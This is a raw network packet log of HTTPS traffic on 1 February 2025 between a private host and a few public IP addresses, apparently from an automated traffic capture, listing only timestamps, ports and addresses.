Feb 1, 2025 21:59:26.685520887 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.685906887 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.688601971 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.688615084 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.688626051 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698565006 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698820114 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698919058 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698935032 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698949099 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.698976994 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699007034 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699060917 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699075937 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699135065 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699167967 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.699459076 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.699743032 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.701112986 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.702770948 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.703640938 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.703852892 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.704402924 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.706024885 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.706798077 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.706856966 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.706883907 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.707329988 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.711369038 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.711704016 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.717411995 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717425108 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717436075 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717448950 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717459917 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717655897 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.717667103 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719103098 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719135046 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719166994 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719185114 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719197989 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719630957 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719665051 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719686031 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.719702005 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.720104933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.722630024 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.761162043 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.815478086 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815495014 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815510988 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815781116 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815794945 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815809011 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815821886 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815835953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.815963030 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816000938 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816014051 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816028118 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816041946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816055059 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816102982 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816118002 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816184998 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816281080 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816303015 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816317081 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816329956 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816344023 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816380978 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816400051 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816401958 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.816411972 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816427946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816442013 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816456079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816505909 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816519022 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816533089 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816545963 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816622019 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.816632032 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816647053 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816660881 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816685915 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816715956 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816730976 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816751957 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.816849947 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816874981 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816895962 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816911936 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816939116 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.816940069 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816962004 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816973925 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.816988945 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817003012 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817038059 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817065954 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817095041 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.817164898 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817261934 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817349911 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817364931 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817387104 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817409992 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817423105 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817436934 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817454100 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817502022 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817516088 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817529917 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817543030 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817564011 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817575932 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817595005 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817630053 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817828894 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817862988 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817923069 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817977905 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.817992926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818013906 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818027020 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818187952 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818201065 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818213940 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818227053 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818242073 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818346977 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818388939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818404913 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818422079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818442106 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818455935 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818470955 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818485022 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818520069 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.818562984 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.818736076 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.818773985 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.818888903 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.818964958 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819147110 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819176912 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.819206953 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819257975 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819430113 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.819483042 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819494963 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819524050 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819539070 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819550991 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819571018 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819582939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819597006 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819611073 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819720984 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819787025 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819801092 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.819814920 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.820385933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.820465088 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.820574045 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821435928 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821454048 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821485996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821500063 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821513891 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821527958 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821548939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821562052 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821576118 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821718931 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821857929 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.821906090 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.825542927 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.825928926 CET	443	60588	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:26.827064037 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.827097893 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.827299118 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.827560902 CET	443	63931	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:26.827887058 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.828314066 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.829628944 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.829643011 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.829674006 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.829690933 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.829706907 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.829720974 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.833173990 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.833173990 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.833173990 CET	63931	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:26.833173990 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.833173990 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.845802069 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.855346918 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.855362892 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.855376959 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.855583906 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.867371082 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.883642912 CET	60588	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:26.909358025 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.910698891 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.910759926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.910820961 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.910849094 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911448956 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.911601067 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.911664963 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911740065 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911752939 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911761045 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911818027 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911839962 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911855936 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911880970 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911971092 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.911983967 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912003994 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912023067 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912038088 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912050962 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912081003 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912095070 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912108898 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912147999 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912585020 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.912599087 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.913415909 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.913619995 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.913714886 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.915309906 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915330887 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915344954 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915555954 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915621996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915643930 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915666103 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915680885 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915700912 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.915739059 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.924195051 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.938007116 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.945717096 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:26.982846022 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:26.989495039 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.030200005 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.061490059 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.061575890 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.061588049 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.061598063 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.081130981 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.081403971 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.100863934 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.116421938 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.116683960 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.117655993 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.117822886 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.118041039 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.130013943 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.130379915 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.195710897 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.200298071 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.200310946 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.200323105 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.200331926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.200804949 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.204477072 CET	443	58833	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.206073046 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.211298943 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215080023 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215099096 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215110064 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215117931 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215126991 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215193033 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215209007 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.215780973 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.220479012 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.220710993 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.220940113 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.220971107 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.220983982 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221052885 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221062899 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221072912 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221082926 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221091986 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221101999 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.221239090 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.221280098 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.221317053 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.225440025 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.225605011 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.225631952 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.225641966 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.225641966 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.246273994 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246288061 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246299028 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246309996 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246319056 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246326923 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246335030 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246345043 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246356010 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246366024 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246376991 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246424913 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246436119 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246447086 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246597052 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246608019 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246617079 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246622086 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246628046 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246638060 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246649027 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246656895 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246666908 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.246676922 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.248492956 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.248735905 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.249264002 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.249471903 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.249715090 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.273431063 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.290488005 CET	58833	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.301035881 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.309217930 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.309232950 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.309242010 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.311364889 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.334878922 CET	443	52869	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:27.335103035 CET	52869	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:27.378834963 CET	443	52869	23.209.72.24	192.168.2.6
